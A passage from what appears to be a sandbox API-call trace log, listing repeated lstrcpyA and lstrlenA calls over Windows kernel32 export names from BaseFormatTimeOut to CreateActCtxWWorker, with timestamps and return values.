(lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0128.768] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0128.768] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0128.768] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0128.768] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0128.768] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0128.768] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0128.768] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0128.768] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0128.768] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0128.768] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0128.768] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0128.769] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0128.769] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0128.769] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0128.769] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0128.769] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0128.769] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0128.769] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0128.769] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0128.769] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0128.769] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0128.769] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0128.769] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0128.769] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0128.769] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0128.769] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0128.769] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0128.770] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0128.770] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0128.770] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0128.770] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0128.770] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0128.770] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0128.770] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0128.770] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0128.770] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0128.770] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0128.770] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0128.770] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0128.770] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0128.770] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0128.770] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0128.770] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0128.770] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0128.771] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0128.771] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0128.771] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0128.771] lstrlenA (lpString="BEEP") returned 4 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0128.771] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0128.771] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0128.771] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0128.771] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0128.771] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0128.771] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0128.771] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0128.771] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0128.771] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0128.771] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0128.771] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0128.771] lstrlenA (lpString="CANCELIO") returned 8 [0128.771] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0128.772] lstrlenA (lpString="CANCELIOEX") returned 10 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0128.772] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0128.772] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0128.772] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0128.772] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0128.772] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0128.772] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0128.772] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0128.772] lstrlenA (lpString="CHECKELEVATION") returned 14 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0128.772] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0128.772] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0128.772] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0128.772] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0128.772] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0128.772] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0128.772] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0128.772] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0128.773] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0128.773] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0128.773] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0128.773] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0128.773] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0128.773] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0128.773] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0128.773] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0128.773] lstrlenA (lpString="CLOSESTATE") returned 10 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0128.773] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0128.773] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0128.773] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0128.773] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0128.773] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0128.773] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0128.773] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0128.773] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0128.774] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0128.774] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0128.774] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0128.774] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0128.774] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0128.774] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0128.774] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0128.774] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0128.774] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0128.774] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0128.774] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0128.774] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0128.774] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0128.774] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0128.774] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0128.774] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0128.774] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0128.775] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0128.775] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0128.775] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0128.775] lstrlenA (lpString="COPYCONTEXT") returned 11 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0128.775] lstrlenA (lpString="COPYFILE2") returned 9 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0128.775] lstrlenA (lpString="COPYFILEA") returned 9 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0128.775] lstrlenA (lpString="COPYFILEEXA") returned 11 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0128.775] lstrlenA (lpString="COPYFILEEXW") returned 11 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0128.775] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0128.775] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0128.775] lstrlenA (lpString="COPYFILEW") returned 9 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0128.775] lstrlenA (lpString="COPYLZFILE") returned 10 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0128.775] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0128.775] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0128.775] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 